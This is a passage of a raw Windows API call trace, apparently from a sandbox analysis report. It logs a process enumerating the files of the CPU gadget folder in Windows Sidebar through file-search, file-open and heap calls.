Sidebar\\Gadgets\\CPU.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.562] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.562] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.562] NtClose (Handle=0x178) returned 0x0 [0080.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0080.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229308 [0080.563] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.html", cAlternateFileName="")) returned 1 [0080.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0080.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f57d0 [0080.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245310 [0080.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f57f0 [0080.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245418 [0080.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.566] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.566] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0080.566] GetLastError () returned 0x12 [0080.566] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.566] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.566] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.566] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.html", cAlternateFileName="")) returned 1 [0080.566] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.567] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.567] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.567] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.567] NtClose (Handle=0x178) returned 0x0 [0080.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229418 [0080.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12294a0 [0080.568] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0080.568] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.568] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 1 [0080.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229528 [0080.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229528) returned 1 [0080.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229528 [0080.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229528) returned 1 [0080.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229528 [0080.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245520 [0080.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229418) returned 1 [0080.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5810 [0080.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245628 [0080.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229528) returned 1 [0080.570] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 0 [0080.570] GetLastError () returned 0x12 [0080.570] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.570] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.570] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.570] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 1 [0080.570] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 0 [0080.570] GetLastError () returned 0x12 [0080.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12294a0) returned 1 [0080.570] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1245520) returned 1 [0080.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.571] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.571] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.571] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.572] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.572] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.572] NtClose (Handle=0x168) returned 0x0 [0080.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229390 [0080.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12294a0 [0080.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229528 [0080.573] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.573] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.573] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 1 [0080.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229418 [0080.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229418) returned 1 [0080.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229418 [0080.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229418) returned 1 [0080.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1229418 [0080.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245520 [0080.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12294a0) returned 1 [0080.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5830 [0080.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1245730 [0080.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229418) returned 1 [0080.575] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 0 [0080.575] GetLastError () returned 0x12 [0080.575] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0080.575] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.575] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.575] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 1 [0080.575] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 0 [0080.575] GetLastError () returned 0x12 [0080.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229528) returned 1 [0080.575] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1245520) returned 1 [0080.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229390) returned 1 [0080.576] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0080.576] GetLastError () returned 0x12 [0080.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229308) returned 1 [0080.576] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.576] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x290ae597, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x290ae597, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x290d46f5, 